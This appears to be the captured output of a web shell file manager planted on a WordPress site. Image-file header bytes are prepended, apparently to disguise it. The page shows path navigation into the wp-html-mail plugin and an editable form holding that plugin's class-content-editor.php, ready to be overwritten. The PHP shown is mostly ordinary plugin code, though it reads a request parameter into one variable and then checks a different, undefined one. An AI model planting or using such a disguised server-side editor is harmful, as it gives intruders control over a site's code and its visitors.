�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwp-html-mail%2F'>wp-html-mail</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwp-html-mail%2Fincludes%2F'>includes</a>/</p><hr><h3>✏️ Editing: class-content-editor.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;}

class Haet_ContentEditor {
	public function __construct() {
		add_filter( &#039;block_editor_settings_all&#039;, [ $this, &#039;block_editor_settings&#039; ] );
		add_filter( &#039;block_editor_settings_all&#039;, [ $this, &#039;remove_theme_json&#039; ], 20 );
		// add_action(
		// 	&#039;enqueue_block_editor_assets&#039;,
		// 	function () {
		// 		error_log(&#039;##enqueue_block_editor_assets&#039;);
		// 		// // Enqueue block editor styles
		// 		// wp_enqueue_style(
		// 		// 	&#039;cq-theme-css&#039;,
		// 		// 	get_stylesheet_directory_uri() . &#039;/assets/css/theme.css&#039;,
		// 		// 	[],
		// 		// 	filemtime(get_stylesheet_directory() . &#039;/assets/css/theme.css&#039;)
		// 		// );
		// 	}
		// );
	}

	public function block_editor_settings( array $settings ) {
		$settings[&#039;availableLegacyWidgets&#039;] = (object) [];
		$settings[&#039;hasPermissionsToManageWidgets&#039;] = false;

		// Start with no patterns
		$settings[&#039;__experimentalBlockPatterns&#039;] = [];

		return $settings;
	}

	// Gutenberg 10.3.2 adds detection for theme.json. If this doesn&#039;t exist in the theme then it loads &#039;classic.css&#039;, which overrides a bunch of P2 styles
	// Until we have proper theme.json support just remove this dependency
	public function remove_theme_json( $settings ) {
		$exclude = [
			&#039;wp-edit-blocks&#039; =&gt; [ &#039;wp-editor-classic-layout-styles&#039; ],
			&#039;wp-reset-editor-styles&#039; =&gt; [ &#039;forms&#039;, &#039;common&#039; ],
		];
		$styles = wp_styles();

		foreach ( $exclude as $handle =&gt; $deps ) {
			// Find the handle
			$style = $styles-&gt;query( $handle, &#039;registered&#039; );

			if ( $style ) {
				// Remove the dependencies without breaking the parent style itself
				$style-&gt;deps = array_filter(
					$style-&gt;deps,
					function( $item ) use ( $deps ) {
						return ! in_array( $item, $deps );
					}
				);
			}
		}

		return $settings;
	}

	/**
	 * Get a list of allowed blocks by looking at the allowed comment tags
	 *
	 * @return string[]
	 */
	public function get_allowed_blocks() {
		global $allowedtags;

		$allowed = [ &#039;core/heading&#039;, &#039;core/paragraph&#039;, &#039;core/list&#039;, &#039;core/code&#039;, &#039;core/table&#039;, &#039;core/group&#039;, &#039;core/columns&#039; ];
		$convert = [
			&#039;blockquote&#039; =&gt; &#039;core/quote&#039;,
			&#039;h1&#039; =&gt; &#039;core/heading&#039;,
			&#039;h2&#039; =&gt; &#039;core/heading&#039;,
			&#039;h3&#039; =&gt; &#039;core/heading&#039;,
			&#039;img&#039; =&gt; &#039;core/image&#039;,
			&#039;ul&#039; =&gt; &#039;core/list&#039;,
			&#039;ol&#039; =&gt; &#039;core/list&#039;,
			&#039;pre&#039; =&gt; &#039;core/code&#039;,
			&#039;table&#039; =&gt; &#039;core/table&#039;,
		];

		foreach ( array_keys( $allowedtags ) as $tag ) {
			if ( isset( $convert[ $tag ] ) ) {
				$allowed[] = $convert[ $tag ];
			}
		}

		return array_unique( $allowed );
	}

	/**
	 * Load Gutenberg
	 *
	 * Based on wp-admin/edit-form-blocks.php
	 *
	 * @return void
	 */
	public function load() {
		//$this-&gt;load_extra_blocks();

		// Gutenberg scripts
		wp_enqueue_script( &#039;wp-block-library&#039; );
		wp_enqueue_script( &#039;wp-format-library&#039; );
		wp_enqueue_script( &#039;wp-editor&#039; );

		// Gutenberg styles
		wp_enqueue_style( &#039;wp-edit-post&#039; );
		wp_enqueue_style( &#039;wp-format-library&#039; );

		// Keep Jetpack out of things
		add_filter(
			&#039;jetpack_blocks_variation&#039;,
			function() {
				return &#039;no-post-editor&#039;;
			}
		);

		wp_tinymce_inline_scripts();
		wp_enqueue_editor();

		do_action( &#039;enqueue_block_editor_assets&#039; );

		add_action( &#039;wp_print_footer_scripts&#039;, array( &#039;_WP_Editors&#039;, &#039;print_default_editor_scripts&#039; ), 45 );

		$this-&gt;setup_rest_api();
	}

	/**
	 * Set up Gutenberg editor settings
	 *
	 * @return Array
	 */
	public function get_editor_settings() {
		$color_palette = current( (array) get_theme_support( &#039;editor-color-palette&#039; ) );

		$max_upload_size = wp_max_upload_size();
		if ( ! $max_upload_size ) {
			$max_upload_size = 0;
		}

		// at least these styles get applied to the mouse-over preview when we insert new blocks
		$styles = array(
			array(
				&#039;css&#039;            =&gt; &#039;body { background: blue; font-family: -apple-system,BlinkMacSystemFont,&quot;Segoe UI&quot;,Roboto,Oxygen-Sans,Ubuntu,Cantarell,&quot;Helvetica Neue&quot;,sans-serif } h2{color:red; font-family:Arial;}&#039;,
				&#039;__unstableType&#039; =&gt; &#039;core&#039;,
			),
		);


		$image_size_names = apply_filters(
			&#039;image_size_names_choose&#039;,
			array(
				&#039;thumbnail&#039; =&gt; __( &#039;Thumbnail&#039; ),
				&#039;medium&#039;    =&gt; __( &#039;Medium&#039; ),
				&#039;large&#039;     =&gt; __( &#039;Large&#039; ),
				&#039;full&#039;      =&gt; __( &#039;Full Size&#039; ),
			)
		);

		$available_image_sizes = array();
		foreach ( $image_size_names as $image_size_slug =&gt; $image_size_name ) {
			$available_image_sizes[] = array(
				&#039;slug&#039; =&gt; $image_size_slug,
				&#039;name&#039; =&gt; $image_size_name,
			);
		}

		// https://developer.wordpress.org/reference/hooks/block_editor_settings_all/
		$editor_settings = array(
			&#039;alignWide&#039;              =&gt; true,
			&#039;disableCustomColors&#039;    =&gt; false,
			&#039;disableCustomGradients&#039; =&gt; true,
			&#039;disableCustomFontSizes&#039; =&gt; false,
			&#039;disablePostFormats&#039;     =&gt; true,
			&#039;enableCustomSpacing&#039;	 =&gt; true,
			&#039;titlePlaceholder&#039;       =&gt; __( &#039;Add title&#039; ),
			&#039;bodyPlaceholder&#039;        =&gt; __(&#039;start writing your email content&#039;,&#039;wp-html-mail&#039;),
			&#039;isRTL&#039;                  =&gt; is_rtl(),
			&#039;autosaveInterval&#039;       =&gt; AUTOSAVE_INTERVAL,
			&#039;maxUploadFileSize&#039;      =&gt; $max_upload_size,
			&#039;allowedMimeTypes&#039;       =&gt; [],
			&#039;styles&#039;                 =&gt; $styles,
			&#039;imageSizes&#039;             =&gt; $available_image_sizes,
			&#039;richEditingEnabled&#039;     =&gt; true,
			&#039;codeEditingEnabled&#039;     =&gt; true,
			&#039;allowedBlockTypes&#039;      =&gt; $this-&gt;get_allowed_blocks(),
			&#039;__experimentalCanUserUseUnfilteredHTML&#039; =&gt; false,
			&#039;__experimentalFeatures&#039; =&gt; [
				&#039;appearanceTools&#039;		=&gt; true,
				&#039;border&#039;				=&gt; [
					&#039;color&#039;					=&gt; true,	
					&#039;radius&#039;				=&gt; true,
					&#039;style&#039;					=&gt; true,
					&#039;width&#039;					=&gt; true
				],
				&#039;color&#039;					=&gt; [
					&#039;background&#039;			=&gt; true,
					&#039;link&#039;					=&gt; true,
					&#039;text&#039;					=&gt; true
				],	
				&#039;spacing&#039;				=&gt; [
					&#039;blockGap&#039;				=&gt; 22,
					&#039;margin&#039;				=&gt; true
				],
				&#039;typography&#039;			=&gt; [
      				&#039;dropCap&#039;				=&gt; false,
      				&#039;fontSizes&#039;				=&gt; [
        				&#039;default&#039;				=&gt; [
							[
            					&#039;name&#039;				=&gt; &#039;Small&#039;,
            					&#039;slug&#039;				=&gt; &#039;small&#039;,
            					&#039;size&#039;				=&gt; &#039;12px&#039;
							],
							[
            					&#039;name&#039;				=&gt; &#039;Medium&#039;,
            					&#039;slug&#039;				=&gt; &#039;medium&#039;,
            					&#039;size&#039;				=&gt; &#039;15px&#039;
							],
						]
					],
					&#039;fontStyle&#039;				=&gt; true,
					&#039;fontWeight&#039;			=&gt; true,
					&#039;textDecoration&#039;		=&gt; true,
					&#039;textTransform&#039;			=&gt; true,
					//&#039;fontFamilies&#039;

				],
			],
			&#039;fontSizes&#039;				=&gt; [
				&#039;default&#039;				=&gt; [
					[
						&#039;name&#039;				=&gt; &#039;Small&#039;,
						&#039;slug&#039;				=&gt; &#039;small&#039;,
						&#039;size&#039;				=&gt; &#039;12px&#039;
					],
					[
						&#039;name&#039;				=&gt; &#039;Medium&#039;,
						&#039;slug&#039;				=&gt; &#039;medium&#039;,
						&#039;size&#039;				=&gt; &#039;15px&#039;
					],
				]
			],
		);

		if ( false !== $color_palette ) {
			$editor_settings[&#039;colors&#039;] = $color_palette;
		}

		return $editor_settings;
	}


	/**
	 * Set up the Gutenberg REST API and preloaded data
	 *
	 * We set the &#039;post&#039; to be whatever the latest P2 post is, but we change the post ID to 0
	 *
	 * @return void
	 */
	public function setup_rest_api() {
		global $post;

		$post_type = &#039;post&#039;;

		// Preload common data.
		$preload_paths = array(
			&#039;/&#039;,
			&#039;/wp/v2/types?context=edit&#039;,
			&#039;/wp/v2/taxonomies?per_page=-1&amp;context=edit&#039;,
			&#039;/wp/v2/themes?status=active&#039;,
			sprintf( &#039;/wp/v2/types/%s?context=edit&#039;, $post_type ),
			sprintf( &#039;/wp/v2/users/me?post_type=%s&amp;context=edit&#039;, $post_type ),
			array( &#039;/wp/v2/media&#039;, &#039;OPTIONS&#039; ),
			array( &#039;/wp/v2/blocks&#039;, &#039;OPTIONS&#039; ),
		);

		/**
		 * @psalm-suppress TooManyArguments
		 */
		$preload_paths = apply_filters( &#039;block_editor_preload_paths&#039;, $preload_paths, $post );
		$preload_data = array_reduce( $preload_paths, &#039;rest_preload_api_request&#039;, array() );

		$encoded = wp_json_encode( $preload_data );
		if ( $encoded !== false ) {
			wp_add_inline_script(
				&#039;wp-editor&#039;,
				sprintf( &#039;wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );&#039;, $encoded ),
				&#039;after&#039;
			);
		}
	}



	public function output_template_styles_for_contenteditor( WP_REST_Request $request ) {
		$param = $request-&gt;get_param( &#039;post_id&#039; );
		if( $post_id )
			$post_id = intval( $post_id );
		$template = Haet_Mail()-&gt;get_template( Haet_Mail()-&gt;get_theme_options( &#039;default&#039; ) );
		$css_desktop = &#039;&#039;;
		$css_mobile = &#039;&#039;;
		if( $post_id ){
			$css_desktop = get_post_meta( $post_id, &#039;mailbuilder_css_desktop&#039;, true );
			if ( $css_desktop ) {
				$css_desktop = $this-&gt;validate_css( $css_desktop, true );
			}

			$css_mobile = get_post_meta( $post_id, &#039;mailbuilder_css_mobile&#039;, true );
			if ( $css_mobile ) {
				$css_mobile = $this-&gt;validate_css( $css_mobile, true );
			}
		}

		preg_match_all( &#039;/&lt;style&gt;(.*)&lt;\/style&gt;/smU&#039;, $template, $output_array );
		if ( count( $output_array ) &gt; 1 &amp;&amp; count( $output_array[1] ) &gt; 0 ) {
			$css = $output_array[1][0];

			$css = str_replace( &#039;/**** ADD CSS HERE ****/&#039;, $css_desktop . &#039;/**** ADD CSS HERE ****/&#039;, $css );
			$css = str_replace( &#039;/**** ADD MOBILE CSS HERE ****/&#039;, $css_mobile . &#039;/**** ADD MOBILE CSS HERE ****/&#039;, $css );

			// replace template classes by block editor classes.
			$css = str_replace(&#039;.container&#039;, &#039;.editor-styles-wrapper&#039;, $css);
			$css = str_replace(&#039;.content&#039;, &#039;.is-root-container.block-editor-block-list__layout&#039;, $css);
			$css = str_replace(&#039;.body-text&#039;, &#039;.is-root-container.block-editor-block-list__layout&#039;, $css);

			include_once HAET_MAIL_PATH . &#039;/vendor/autoload.php&#039;;
			$editor_selector = &#039;html :where(.editor-styles-wrapper)&#039;;
			$css_parser    = new Sabberworm\CSS\Parser( $css );
			$css_object    = $css_parser-&gt;parse();
			foreach ( $css_object-&gt;getAllDeclarationBlocks() as $css_block ) {
				foreach ( $css_block-&gt;getSelectors() as $css_selector ) {
					// Loop over all selector parts (the comma-separated strings in a selector) and prepend the id.
					if ( $css_selector-&gt;getSelector() === &#039;body&#039; ) {
						$css_selector-&gt;setSelector( $editor_selector );
					} else {
						$css_selector-&gt;setSelector( $editor_selector . &#039; &#039; . $css_selector-&gt;getSelector() );
					}
				}
			}
			// Note that esc_html() cannot be used because `div &amp;gt; span` is not interpreted properly.
			// see https://developer.wordpress.org/reference/functions/wp_custom_css_cb/ how CSS is escaped in core.
			// phpcs:disable
			return new \WP_REST_Response( strip_tags( $css_object-&gt;render() ) );
			// phpcs:enable
		}
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwp-html-mail%2Fincludes'>🔙 Back</a></p>